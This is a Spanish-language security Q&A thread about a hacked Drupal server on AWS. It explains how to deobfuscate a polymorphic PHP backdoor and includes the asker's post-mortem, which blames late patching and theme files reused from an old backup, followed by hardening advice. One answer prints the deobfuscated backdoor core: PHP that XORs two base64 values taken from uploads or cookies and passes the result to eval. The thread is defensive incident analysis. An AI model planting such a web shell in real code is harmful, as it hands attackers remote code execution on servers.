Servidor Drupal comprometido - Quiero investigar la técnica / compromiso de ataque

Este tipo de puertas traseras son polimórficas, es decir, están diseñadas para verse diferentes cada vez; en la práctica, es una pérdida de tiempo intentar descifrarlas porque todas hacen exactamente lo mismo.

Toman entrada externa y la ejecutan.

Puede tomar información de una cookie o una variable de publicación, y puede intentar configurar algunas opciones de PHP para evitar que se muestren o se registren errores, pero el objetivo final es siempre el mismo. Toman entrada externa y la ejecutan.

  

¿Qué debo hacer ahora?

Debe proceder a limpiar su servidor, corregir la vulnerabilidad y seguir adelante.

  

ya que no hay nada privado o valioso en él

Si ese es el caso, le recomiendo encarecidamente que termine la instancia y gire una nueva y limpia.

  

Estoy más interesado en aprender de este caso tanto como pueda

Dudo que haya algo importante que aprender o que te ayude a evitar que ocurra lo mismo en el futuro. En el mejor de los casos, terminará viendo un código genérico para enviar spam de Viagra, en el peor de los casos, terminará hospedando algo así como una página de phishing.

A menos que esté muy muy seguro de que su código está aislado, no les daría innecesariamente la oportunidad de ejecutar código en su sistema. Al menos, es probable que AWS imponga restricciones en su cuenta si detectan spam proveniente de una de sus instancias.

TLDR; Que no vale la pena. Simplemente ejecutará el código de forma remota y lo utilizarán para enviar correo no deseado. Reemplace la instancia con una nueva lo antes posible.

Si realmente quieres saber qué hace este código específico, el proceso de desofuscación siempre es el mismo.

1. Ejecutar el código a través de un formateador de código
2. Encuentre todas las llamadas de función, por ejemplo. puede ver que $amwve = $zgxovk($xeyb, $wbjo); es una llamada de función.
3. Reemplace la línea de llamada de función con un echo para cada variable seguido de un exit();
4. Repita este proceso a medida que avanza en el guión y descubra qué contiene cada una de las variables en cada paso. La mayoría de las variables serán superfluas y solo para confundirte.
5. Eventualmente encontrará el bit que contiene el código real para tomar la entrada y ejecutarlo.

Siempre haga esto en un entorno aislado , recomendaría un intérprete de PHP en línea. Es posible que deba eliminar algunas llamadas de función que estén bloqueadas, como ini_set .

En su caso, si baja a $wbjo y se hace eco de esto, obtendrá esto:

$bzg = (!empty($_FILES["imi"])) ? file_get_contents($_FILES["imi"]["tmp_name"]) : $_COOKIE["imi"];
$qnlzja = (!empty($_FILES["vfsm"])) ? file_get_contents($_FILES["vfsm"]["tmp_name"]) : $_COOKIE["vfsm"];
$pjgtk = base64_decode($bzg) ^ base64_decode($qnlzja);
@eval($pjgtk);

Lo que como puedes ver es tomar dos archivos codificados en base64, XORingándolos y luego evaluando el resultado. La XORing es solo para que los firewalls y WAF tengan más dificultades para identificar que el archivo que se está cargando es malicioso.

TL;DR:

Fue una 2014-oct-15 vulnerabilidad altamente crítica del núcleo de drupal que reparé demasiado tarde y en el momento me perdí la gravedad del problema y no realicé las comprobaciones adecuadas para evaluar si el servidor no se había comprometido. El hack se propagó desde los archivos de temas copiados de la copia de seguridad del servidor fuera de servicio en lugar de descargarse recientemente de la sección de temas del sitio de Drupal. Llegué a esta conclusión revisando las bases de datos, el servidor web y los registros del sistema, comparando las bases de datos y las copias de seguridad de drupal, leyendo el núcleo de drupal y los boletines de asesoramiento de seguridad de extensiones, y analizando el RAT gracias a los consejos proporcionados por texacre.

Está bien, me avergüenza admitirlo, pero ahora parece claro lo que sucedió.

Como suele suceder con esto, no fue un exploit de 0 días sino una actualización crítica que se aplicó demasiado tarde:

Estaba ejecutando otro servidor Drupal que estaba usando para probar mis proyectos en libertad hasta el pasado diciembre.

Lo mantenía actualizado con controles diarios cada vez que ingresaba, pero en noviembre estaba demasiado ocupado en el trabajo y me perdí una actualización muy importante: enlace

Solo 7 horas después del anuncio, el equipo de Drupal advirtió a los usuarios que ya existían vulnerabilidades de escalamiento de privilegios que permitían controlar cualquier servidor sin parches que ejecutara Drupal 7 o 8.

De alguna manera, esta advertencia no me llegó, y 11 días después vi el mensaje típico "hay una actualización disponible", y se actualizó sin siquiera leer de qué se trataba la actualización. Dado que ya fui pirateado, probablemente no sea una coincidencia que no se me haya mostrado una gran señal de advertencia que me diga qué tan importante fue esta actualización (o tal vez el servicio de actualización no sea un mecanismo lo suficientemente bueno para decirle qué hacer cuando estamos actualizando un sistema que podría haber sido comprometido ...)

De todos modos, ni siquiera lo pensé más, ya que un par de semanas más tarde decidí actualizar mi plan de EC2, hice una copia de seguridad de esta instancia y la desactivé para reemplazarla por una nueva.

Ahora avancé rápidamente hasta hace dos meses cuando configuré este nuevo servidor:

Comencé de nuevo (el nuevo núcleo de Drupal y todo), pero solté los archivos de tema del anterior, en lugar de molestarme en descargar el tema de nuevo. La primera auditoría de rutina que realicé en este servidor desistió de las pistas para descubrir el código RAT que me llevó a publicar esta pregunta en primer lugar.

Y esa es la historia sobre cómo configuré y ejecuté durante dos meses un servidor Drupal pirateado para el placer de algunos spammers (de los registros parece ser el principal objetivo del ataque, aunque no se enviaron correos electrónicos no deseados porque La política de grupo de seguridad de AWS que siempre configuré para las instancias que ejecuté lo impedía).

Entonces, sea un recordatorio para todos los que deben encontrar y suscribirse al boletín de avisos de seguridad de su CMS / framework / distro o cualquier otra tecnología que estén usando en un servidor, especialmente una de acceso público.

(Por cierto, lo que soy, aunque como hay más de otros 30 canales RSS, me perdí totalmente este aviso hasta que fue demasiado tarde)

Así que supongo que las lecciones para mí aquí son:

• No es suficiente iniciar sesión y buscar actualizaciones: el CMS debe estar configurado para enviarle un correo electrónico a su cuenta principal cuando haya una crítica (configuré una cuenta secundaria para eso y no configuré una filtre para reenviar automáticamente esos mensajes a mi cuenta principal, que habría tomado 5 minutos adicionales y me habría salvado de todos estos problemas)
• Para estar más organizado con mi fuente RSS y expeditivo en mis actualizaciones.
• Para verificar siempre las intrusiones después de anunciar vulnerabilidades críticas
• Para asumir siempre que el sistema está comprometido si las vulnerabilidades están en libertad antes de parchear
• Fresco significa nuevo: ¡no sueltes los archivos de temas de la copia de seguridad de la instancia anterior y llámalos de nuevo!

Anteriormente había visto un ataque similar en un servidor de un cliente mío.

El atacante encontró alguna vulnerabilidad que permite cargar algunos archivos. Otros mencionaron algunas vulnerabilidades potenciales.

Desde su descripción, el atacante pudo escribir con el usuario del servidor web en su directorio raíz web. Este no debería ser el caso cuando su servidor está configurado correctamente. Para protegerse de nuevos ataques, necesita cambiar la configuración del servidor.

Desde mi experiencia, el servidor Apache solo puede escribir en el directorio raíz web:

• Cuando establece explícitamente los permisos en el directorio raíz en 0777 o
• cuando ejecuta el servidor web con el mismo usuario que escribe los archivos PHP (por ejemplo, el propietario del directorio web es el mismo usuario que el usuario del servidor web en ejecución).

Para evitar ataques similares, le recomiendo que use un usuario separado para el servidor web y el usuario que carga los archivos de Drupal. Normalmente, ejecuta el servidor Apache con el usuario www-data y crea al menos un usuario separado para cargar los archivos. También recomiendo establecer los permisos en el directorio web a 0755.

Algunos directorios requieren permisos de escritura para cargar archivos. Sin embargo, en esos directorios debe agregar el archivo .htaccess que impide la ejecución de cualquier archivo cargado. De esta manera, incluso un atacante puede cargar un archivo que él / ella no puede ejecutar.

A .htaccess le podría gustar esto:

Order deny,allow
Deny from all
<Files ~ "\.(gif|jpg|png)$">
   order allow,deny
   allow from all
</Files>

Este .htaccess permite que solo se carguen gif, jpg y png en el navegador del directorio actual.